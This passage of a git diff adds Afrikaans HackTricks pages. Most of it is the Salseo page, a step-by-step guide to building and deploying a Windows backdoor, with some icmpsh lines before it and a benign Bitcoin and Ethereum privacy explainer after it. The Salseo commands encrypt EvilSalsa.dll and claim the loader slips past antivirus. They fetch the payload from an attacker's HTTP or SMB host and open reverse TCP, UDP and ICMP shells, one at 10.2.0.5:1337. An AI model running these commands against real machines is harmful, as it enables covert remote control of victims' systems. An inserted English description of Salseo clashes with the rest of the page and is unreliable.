* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Laai die agterdeur af vanaf: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
|
||||
# Kliëntkant
|
||||
|
||||
Voer die skrip uit: **run.sh**
|
||||
|
||||
**As jy 'n fout kry, probeer om die lyne te verander:**
|
||||
```bash
|
||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||
```
|
||||
**Vir:**
|
||||
```bash
|
||||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **Slagofferkant**
|
||||
|
||||
Laai **icmpsh.exe** op na die slagoffer se rekenaar en voer dit uit:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
192
c2/salseo.md
Normal file
192
c2/salseo.md
Normal file
|
@ -0,0 +1,192 @@
|
|||
# Salseo
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Kompilering van die bineêre lêers
|
||||
|
||||
Laai die bronkode van die github af en kompileer **EvilSalsa** en **SalseoLoader**. Jy sal **Visual Studio** geïnstalleer moet hê om die kode te kompileer.
|
||||
|
||||
Kompileer daardie projekte vir die argitektuur van die Windows-boks waar jy hulle gaan gebruik (As die Windows x64 ondersteun, kompileer hulle vir daardie argitekture).
|
||||
|
||||
Jy kan die **argitektuur kies** binne Visual Studio in die **linker "Bou" Tab** in **"Platform Teiken".**
|
||||
|
||||
(\*\*As jy hierdie opsies nie kan vind nie, druk in **"Projek Tab"** en dan in **"\<Projek Naam> Eienskappe"**)
|
||||
|
||||
![](<../.gitbook/assets/image (132).png>)
|
||||
|
||||
Bou dan beide projekte (Bou -> Bou Oplossing) (Binne die logs sal die pad van die uitvoerbare lêer verskyn):
|
||||
|
||||
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||
|
||||
## Berei die Agterdeur voor
|
||||
|
||||
Eerstens, sal jy die **EvilSalsa.dll** moet kodeer. Om dit te doen, kan jy die python-skrip **encrypterassembly.py** gebruik of jy kan die projek **EncrypterAssembly** kompileer:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
### Windows
|
||||
|
||||
#### Salseo
|
||||
|
||||
Salseo is a backdoor that allows an attacker to execute shell commands on a compromised Windows system. It is written in C# and uses a TCP connection for communication. The backdoor can be compiled using Visual Studio or the C# compiler.
|
||||
|
||||
To use Salseo, the attacker needs to run the backdoor on the target system. Once the backdoor is running, the attacker can connect to it using a TCP client and send commands to be executed on the compromised system.
|
||||
|
||||
Salseo provides a simple and effective way for an attacker to maintain access to a compromised Windows system and execute commands without being detected.
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Ok, nou het jy alles wat jy nodig het om al die Salseo-ding uit te voer: die **geënkripteerde EvilDalsa.dll** en die **binêre van SalseoLoader.**
|
||||
|
||||
**Laai die SalseoLoader.exe binêre na die masjien op. Dit behoort nie deur enige AV opgespoor te word nie...**
|
||||
|
||||
## **Voer die agterdeur uit**
|
||||
|
||||
### **Kry 'n TCP-omgekeerde dop (laai geënkripteerde dll af deur HTTP)**
|
||||
|
||||
Onthou om 'n nc as die omgekeerde dop-luisteraar te begin en 'n HTTP-bediener om die geënkripteerde evilsalsa te dien.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Kry 'n UDP-omgekeerde dop (afgelaaide gekodeerde dll deur SMB)**
|
||||
|
||||
Onthou om 'n nc te begin as die omgekeerde dop luisteraar, en 'n SMB-bediener om die gekodeerde evilsalsa te dien (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Kry 'n ICMP-omgekeerde dop (gekodeerde dll reeds binne die slagoffer)**
|
||||
|
||||
**Hierdie keer het jy 'n spesiale instrument in die klient nodig om die omgekeerde dop te ontvang. Laai af:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Deaktiveer ICMP-antwoorde:**
|
||||
```
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### Voer die klient uit:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
#### Binne die slagoffer, laat ons die salseo ding uitvoer:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## Kompilering van SalseoLoader as DLL wat die hooffunksie uitvoer
|
||||
|
||||
Maak die SalseoLoader projek oop met behulp van Visual Studio.
|
||||
|
||||
### Voeg voor die hooffunksie by: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Installeer DllExport vir hierdie projek
|
||||
|
||||
#### **Gereedskap** --> **NuGet Pakketbestuurder** --> **Bestuur NuGet-pakkette vir Oplossing...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Soek na DllExport-pakket (deur die Blaai-tabblad te gebruik), en druk op Installeer (en aanvaar die popup)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
In jou projekmap het die lêers verskyn: **DllExport.bat** en **DllExport\_Configure.bat**
|
||||
|
||||
### **D**eïnstalleer DllExport
|
||||
|
||||
Druk **Deïnstalleer** (ja, dit is vreemd, maar vertrou my, dit is nodig)
|
||||
|
||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||
|
||||
### **Sluit Visual Studio af en voer DllExport\_configure uit**
|
||||
|
||||
Net **sluit** Visual Studio af
|
||||
|
||||
Gaan dan na jou **SalseoLoader map** en **voer DllExport\_Configure.bat uit**
|
||||
|
||||
Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies **System.Runtime.InteropServices** (binne **Naamruimte vir DllExport**) en druk **Toepas**
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
### **Maak die projek weer oop met Visual Studio**
|
||||
|
||||
**\[DllExport]** behoort nie meer as fout gemerk te wees nie
|
||||
|
||||
![](<../.gitbook/assets/image (8) (1).png>)
|
||||
|
||||
### Bou die oplossing
|
||||
|
||||
Kies **Uitvoertipe = Klasbiblioteek** (Projek --> SalseoLoader Eienskappe --> Toepassing --> Uitvoertipe = Klasbiblioteek)
|
||||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
Kies **x64** **platform** (Projek --> SalseoLoader Eienskappe --> Bou --> Platform teiken = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
Om die oplossing te **bou**: Bou --> Bou Oplossing (Binne die Uitvoerkonsole sal die pad van die nuwe DLL verskyn)
|
||||
|
||||
### Toets die gegenereerde Dll
|
||||
|
||||
Kopieer en plak die Dll waar jy dit wil toets.
|
||||
|
||||
Voer uit:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
Indien geen fout verskyn nie, het jy waarskynlik 'n funksionele DLL!!
|
||||
|
||||
## Kry 'n skaal deur die DLL te gebruik
|
||||
|
||||
Moenie vergeet om 'n **HTTP** **bediener** te gebruik en 'n **nc** **luisteraar** in te stel
|
||||
|
||||
### Powershell
|
||||
```
|
||||
$env:pass="password"
|
||||
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
||||
$env:lhost="10.2.0.5"
|
||||
$env:lport="1337"
|
||||
$env:shell="reversetcp"
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
### CMD
|
||||
|
||||
### CMD
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
set lhost=10.2.0.5
|
||||
set lport=1337
|
||||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
208
crypto-and-stego/blockchain-and-crypto-currencies.md
Normal file
208
crypto-and-stego/blockchain-and-crypto-currencies.md
Normal file
|
@ -0,0 +1,208 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## Basiese Konsepte
|
||||
|
||||
- **Slim Kontrakte** word gedefinieer as programme wat op 'n blokketting uitgevoer word wanneer sekere voorwaardes voldoen word, wat ooreenkomste outomaties sonder tussenpersone uitvoer.
|
||||
- **Gedentraliseerde Toepassings (dApps)** bou op slim kontrakte, met 'n gebruikersvriendelike voorkant en 'n deursigtige, auditeerbare agterkant.
|
||||
- **Tokens & Munte** onderskei waar munte as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig.
|
||||
- **Hulpmiddel-Tokens** gee toegang tot dienste, en **Sekuriteits-Tokens** dui bateseienaarskap aan.
|
||||
- **DeFi** staan vir Gedentraliseerde Finansies en bied finansiële dienste sonder sentrale owerhede.
|
||||
- **DEX** en **DAO's** verwys onderskeidelik na Gedentraliseerde Ruilplatforms en Gedentraliseerde Outonome Organisasies.
|
||||
|
||||
## Konsensusmeganismes
|
||||
|
||||
Konsensusmeganismes verseker veilige en ooreengekome transaksievalidasies op die blokketting:
|
||||
- **Bewys van Werk (PoW)** steun op rekenaarvermoë vir transaksieverifikasie.
|
||||
- **Bewys van Aandeel (PoS)** vereis dat valideerders 'n sekere hoeveelheid tokens besit, wat energieverbruik verminder in vergelyking met PoW.
|
||||
|
||||
## Bitcoin Essensies
|
||||
|
||||
### Transaksies
|
||||
|
||||
Bitcoin-transaksies behels die oordra van fondse tussen adresse. Transaksies word deur digitale handtekeninge gevalideer, wat verseker dat slegs die eienaar van die privaat sleutel oordragte kan inisieer.
|
||||
|
||||
#### Sleutelkomponente:
|
||||
|
||||
- **Multisignature-transaksies** vereis meervoudige handtekeninge om 'n transaksie te magtig.
|
||||
- Transaksies bestaan uit **inskrywings** (bron van fondse), **uitsette** (bestemming), **fooie** (betaal aan myners) en **skripsies** (transaksiereëls).
|
||||
|
||||
### Lightning-netwerk
|
||||
|
||||
Beoog om die skaalbaarheid van Bitcoin te verbeter deur meervoudige transaksies binne 'n kanaal toe te laat, en slegs die finale toestand na die blokketting uit te saai.
|
||||
|
||||
## Bitcoin-privasiemetodes
|
||||
|
||||
Privasiemetodes, soos **Gemeenskaplike Invoereienaarskap** en **UTXO-veranderingsadresopsporing**, maak gebruik van transaksiepatrone. Strategieë soos **Mengers** en **CoinJoin** verbeter anonimiteit deur transaksieskakels tussen gebruikers te verdoesel.
|
||||
|
||||
## Anonieme verkryging van Bitcoins
|
||||
|
||||
Metodes sluit kontanttransaksies, mynbou en die gebruik van mengers in. **CoinJoin** meng verskeie transaksies om spoorbaarheid te bemoeilik, terwyl **PayJoin** CoinJoins as gewone transaksies vermom vir verhoogde privaatheid.
|
||||
|
||||
|
||||
# Bitcoin-privasiemetodes
|
||||
|
||||
# Opsomming van Bitcoin-privasiemetodes
|
||||
|
||||
In die wêreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers dikwels onderwerp van kommer. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waarmee aanvallers Bitcoin-privasie kan benadeel.
|
||||
|
||||
## **Gemeenskaplike Invoereienaarskap-aanname**
|
||||
|
||||
Dit is oor die algemeen selde dat invoere van verskillende gebruikers in 'n enkele transaksie gekombineer word as gevolg van die betrokkenheid van kompleksiteit. Dus word **twee invoeradresse in dieselfde transaksie dikwels aan dieselfde eienaar toegeskryf**.
|
||||
|
||||
## **UTXO-veranderingsadresopsporing**
|
||||
|
||||
'n UTXO, of **Ongebruikte Transaksie-uitset**, moet heeltemal in 'n transaksie spandeer word. As slegs 'n deel daarvan na 'n ander adres gestuur word, gaan die res na 'n nuwe veranderingsadres. Waarnemers kan aanneem dat hierdie nuwe adres aan die sender behoort, wat privaatheid benadeel.
|
||||
|
||||
### Voorbeeld
|
||||
Om dit te verminder, kan mengdienste of die gebruik van verskeie adresse help om eienaarskap te verdoesel.
|
||||
|
||||
## **Sosiale Netwerke & Forum Blootstelling**
|
||||
|
||||
Gebruikers deel soms hul Bitcoin-adresse aanlyn, wat dit **maklik maak om die adres aan sy eienaar te koppel**.
|
||||
|
||||
## **Transaksiegrafiekontleding**
|
||||
|
||||
Transaksies kan as grafieke voorgestel word, wat potensiële verbindings tussen gebruikers onthul op grond van die vloei van fondse.
|
||||
|
||||
## **Onnodige Invoerheuristiek (Optimale Veranderingsheuristiek)**
|
||||
|
||||
Hierdie heuristiek is gebaseer op die analise van transaksies met meervoudige invoere en uitsette om te raai watter uitset die verandering is wat na die sender terugkeer.
|
||||
|
||||
### Voorbeeld
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
Indien die toevoeging van meer insette die uitset groter maak as enige enkele inset, kan dit die heuristiek in die war bring.
|
||||
|
||||
## **Gedwonge Adres Hergebruik**
|
||||
|
||||
Aanvallers kan klein bedrae na voorheen gebruikte adresse stuur, in die hoop dat die ontvanger dit saam met ander insette in toekomstige transaksies gebruik, en sodoende adresse aan mekaar koppel.
|
||||
|
||||
### Korrekte Beursiegedrag
|
||||
Beursies moet voorkom dat munte ontvang op reeds gebruikte, leë adresse om hierdie privaatheidslek te voorkom.
|
||||
|
||||
## **Ander Blockchain Analise Tegnieke**
|
||||
|
||||
- **Presiese Betalingsbedrae:** Transaksies sonder wisselgeld is waarskynlik tussen twee adresse wat deur dieselfde gebruiker besit word.
|
||||
- **Ronde Getalle:** 'n Ronde getal in 'n transaksie dui daarop dat dit 'n betaling is, met die nie-ronde uitset wat waarskynlik die wisselgeld is.
|
||||
- **Beursie Vingerafdrukke:** Verskillende beursies het unieke transaksie-skeppingspatrone, wat analiste in staat stel om die gebruikte sagteware en moontlik die wisselgeldadres te identifiseer.
|
||||
- **Bedrag & Tydsverbande:** Die bekendmaking van transaksie-tye of -bedrae kan transaksies naspeurbaar maak.
|
||||
|
||||
## **Verkeersanalise**
|
||||
|
||||
Deur netwerkverkeer te monitor, kan aanvallers moontlik transaksies of blokke aan IP-adresse koppel, wat die privaatheid van gebruikers in gevaar kan bring. Dit is veral waar as 'n entiteit baie Bitcoin-nodes bedryf, wat hul vermoë om transaksies te monitor verbeter.
|
||||
|
||||
## Meer
|
||||
Vir 'n omvattende lys van privaatheidsaanvalle en verdedigings, besoek [Bitcoin Privacy op Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
|
||||
# Anonieme Bitcoin Transaksies
|
||||
|
||||
## Maniere om Bitcoins Anoniem te Kry
|
||||
|
||||
- **Kontant Transaksies**: Bitcoin verkry deur kontant.
|
||||
- **Alternatiewe Kontant**: Aankoop van geskenkkaarte en dit aanlyn ruil vir bitcoin.
|
||||
- **Mynbou**: Die mees private metode om bitcoins te verdien is deur mynbou, veral wanneer dit alleen gedoen word, omdat mynbou-poele die IP-adres van die mynwerker kan weet. [Mynbou-poele-inligting](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Diefstal**: Teoreties kan die steel van bitcoin 'n ander metode wees om dit anoniem te bekom, alhoewel dit onwettig en nie aanbeveel word nie.
|
||||
|
||||
## Mengdienste
|
||||
|
||||
Deur 'n mengdiens te gebruik, kan 'n gebruiker **bitcoins stuur** en **verskillende bitcoins in ruil ontvang**, wat dit moeilik maak om die oorspronklike eienaar op te spoor. Dit vereis egter vertroue in die diens om nie logboeke te hou en om die bitcoins werklik terug te gee. Alternatiewe mengopsies sluit Bitcoin-casinos in.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** voeg verskeie transaksies van verskillende gebruikers saam in een, wat die proses vir enigeen wat probeer om insette met uitsette te koppel, bemoeilik. Ten spyte van sy doeltreffendheid kan transaksies met unieke inset- en uitsetgroottes steeds potensieel nagespoor word.
|
||||
|
||||
Voorbeeldtransaksies wat moontlik CoinJoin gebruik het, sluit in `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
Vir meer inligting, besoek [CoinJoin](https://coinjoin.io/en). Vir 'n soortgelyke diens op Ethereum, kyk na [Tornado Cash](https://tornado.cash), wat transaksies anonimiseer met fondse van mynwerkers.
|
||||
|
||||
## PayJoin
|
||||
|
||||
'n Variasie van CoinJoin, **PayJoin** (of P2EP), vermom die transaksie tussen twee partye (bv. 'n kliënt en 'n handelaar) as 'n gewone transaksie, sonder die kenmerkende gelyke uitsette van CoinJoin. Dit maak dit uiters moeilik om op te spoor en kan die algemene-inset-eienaarskap-heuristiek wat deur transaksie-surveillance-entiteite gebruik word, ongeldig maak.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Transaksies soos die bogenoemde kan PayJoin wees, wat privaatheid verbeter terwyl dit nie onderskeibaar is van standaard bitcoin-transaksies nie.
|
||||
|
||||
**Die gebruik van PayJoin kan tradisionele bewakingsmetodes aansienlik ontwrig**, wat dit 'n belowende ontwikkeling maak in die strewe na transaksionele privaatheid.
|
||||
|
||||
|
||||
# Beste Praktyke vir Privatiteit in Kriptogeldeenhede
|
||||
|
||||
## **Balgelykmaak van Beursies Tegnieke**
|
||||
|
||||
Om privaatheid en veiligheid te handhaaf, is dit noodsaaklik om beursies met die blokketting te sinchroniseer. Twee metodes steek uit:
|
||||
|
||||
- **Volle knoop**: Deur die hele blokketting af te laai, verseker 'n volle knoop maksimum privaatheid. Alle transaksies wat ooit gemaak is, word plaaslik gestoor, wat dit onmoontlik maak vir teenstanders om te identifiseer watter transaksies of adresse die gebruiker belangstel.
|
||||
- **Kliëntkant blokfiltering**: Hierdie metode behels die skep van filters vir elke blok in die blokketting, wat beursies in staat stel om relevante transaksies te identifiseer sonder om spesifieke belange aan netwerkwaarnemers bloot te stel. Ligte beursies laai hierdie filters af en haal slegs volle blokke binne wanneer 'n ooreenstemming met die gebruiker se adresse gevind word.
|
||||
|
||||
## **Die Gebruik van Tor vir Anonimiteit**
|
||||
|
||||
Aangesien Bitcoin op 'n eweknie-netwerk werk, word dit aanbeveel om Tor te gebruik om jou IP-adres te verberg en sodoende privaatheid te verbeter wanneer jy met die netwerk skakel.
|
||||
|
||||
## **Voorkoming van Adres Hergebruik**
|
||||
|
||||
Om privaatheid te beskerm, is dit noodsaaklik om 'n nuwe adres vir elke transaksie te gebruik. Adres hergebruik kan privaatheid in gevaar bring deur transaksies aan dieselfde entiteit te koppel. Moderne beursies ontmoedig adres hergebruik deur hul ontwerp.
|
||||
|
||||
## **Strategieë vir Transaksie-Privaatheid**
|
||||
|
||||
- **Meervoudige transaksies**: Die opsplitting van 'n betaling in verskeie transaksies kan die transaksiebedrag verdoesel, wat privaatheidsaanvalle voorkom.
|
||||
- **Vermyding van wisselgeld**: Die keuse vir transaksies wat nie wisselgeld-uitsette vereis nie, verbeter privaatheid deur wisselgeld-opsporingsmetodes te ontwrig.
|
||||
- **Meervoudige wisselgeld-uitsette**: As die vermyding van wisselgeld nie haalbaar is nie, kan die skep van meervoudige wisselgeld-uitsette steeds privaatheid verbeter.
|
||||
|
||||
# **Monero: 'n Baken van Anonimiteit**
|
||||
|
||||
Monero spreek die behoefte aan absolute anonimiteit in digitale transaksies aan en stel 'n hoë standaard vir privaatheid.
|
||||
|
||||
# **Ethereum: Gas en Transaksies**
|
||||
|
||||
## **Begrip van Gas**
|
||||
|
||||
Gas meet die berekeningspoging wat nodig is om operasies op Ethereum uit te voer, geprijs in **gwei**. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos, behels 'n gaslimiet en 'n basisfooi, met 'n fooi om mynwerkers te motiveer. Gebruikers kan 'n maksimumfooi instel om te verseker dat hulle nie te veel betaal nie, met die oortollige bedrag wat terugbetaal word.
|
||||
|
||||
## **Uitvoering van Transaksies**
|
||||
|
||||
Transaksies in Ethereum behels 'n afsender en 'n ontvanger, wat beide gebruikers- of slimkontrakadresse kan wees. Hulle vereis 'n fooi en moet gemyn word. Essensiële inligting in 'n transaksie sluit die ontvanger, die afsender se handtekening, waarde, opsionele data, gaslimiet en fooie in. Merkwaardig word die afsender se adres afgelei uit die handtekening, wat die behoefte daaraan in die transaksiedata elimineer.
|
||||
|
||||
Hierdie praktyke en meganismes is fundamenteel vir enigiemand wat betrokke wil raak by kriptogeldeenhede terwyl privaatheid en veiligheid vooropgestel word.
|
||||
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake)
|
||||
* [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
* [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
197
crypto-and-stego/certificates.md
Normal file
197
crypto-and-stego/certificates.md
Normal file
|
@ -0,0 +1,197 @@
|
|||
# Sertifikate
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
